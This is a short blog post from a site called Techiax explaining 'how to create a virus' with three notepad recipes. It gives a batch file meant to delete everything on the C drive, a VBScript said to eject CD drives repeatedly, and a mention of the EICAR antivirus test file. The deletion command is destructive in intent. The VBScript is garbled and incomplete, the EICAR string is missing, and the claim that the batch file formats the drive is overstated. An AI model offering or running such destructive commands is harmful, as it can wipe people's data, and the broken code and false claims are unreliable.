• Techiax

How to create a virus?

Today in every second a person is using a computer and almost every one of them knows about a virus. The virus is a malicious program that enters into the computer without your permission and can affect your data and operating system. Well, viruses are of different types as there are trojan horses and much more. However, have you ever thought about creating a virus?

Also Read: How to play secret game on your facebook messenger app with your friends

1. Creating a Dangerous Virus

Step 1. First, Open the notepad.

Step 2. Copy and paste the below code in your notepad screen.

  @Echo off
  Del C: *.* |y

Step 3. Now save this file as virus.bat (you can select any of random name but .bat after that must be there).

Now running the file will delete the C drive completely and the operating system of the respective computer will get corrupted.

Note: This method is only for knowledge purpose. Don’t try this on your computer as it will completely format your C drive.

Also Read: Play Youtube videos on your VLC media player without ads

2. Creating a Harmless Cdrom Virus

Open Notepad and Paste the following code on it and save it as CD-ROM.vbs or anything *.vbs

  Set oWMP = CreateObject(“WMPlayer.OCX.7”)
  Set colCDROMs = oWMP.cdromCollection
  if colCDROMs.Count >= 1 then
  For i = 0 to colCDROMs.Count – 1
  For i = 0 to colCDROMs.Count – 1
  End If
  wscript.sleep 5000

When you double click on this file you will be really amazed at what this simple harmless virus can do. Your CD/DVD drives will get continuously ejected.

To stop this virus you need to open Task manager and select process tab and end the wscript.exe file.

Also Read: Make your computer welcome you with a cool talk at startup

3. Create a Virus To Test Your Antivirus

Open notepad and paste the given code and simply save the file as “EICAR.COM”


If you have an active antivirus then your antivirus program will simply remove this file in no-time. This is the harmless virus that is used to check the security level of your antivirus.

Also Read: How to use MX video player as audio player and play audio files

Please share your views and thoughts. That would make us do better for you.


I am an enthusiastic person striving to gather as much information as possible to achieve higher heights and to share the information to all others to make them also reach the stars.
"People who are crazy enough to think they can change the world are the ones who do"
-Steve Jobs.

Previous Post
Next Post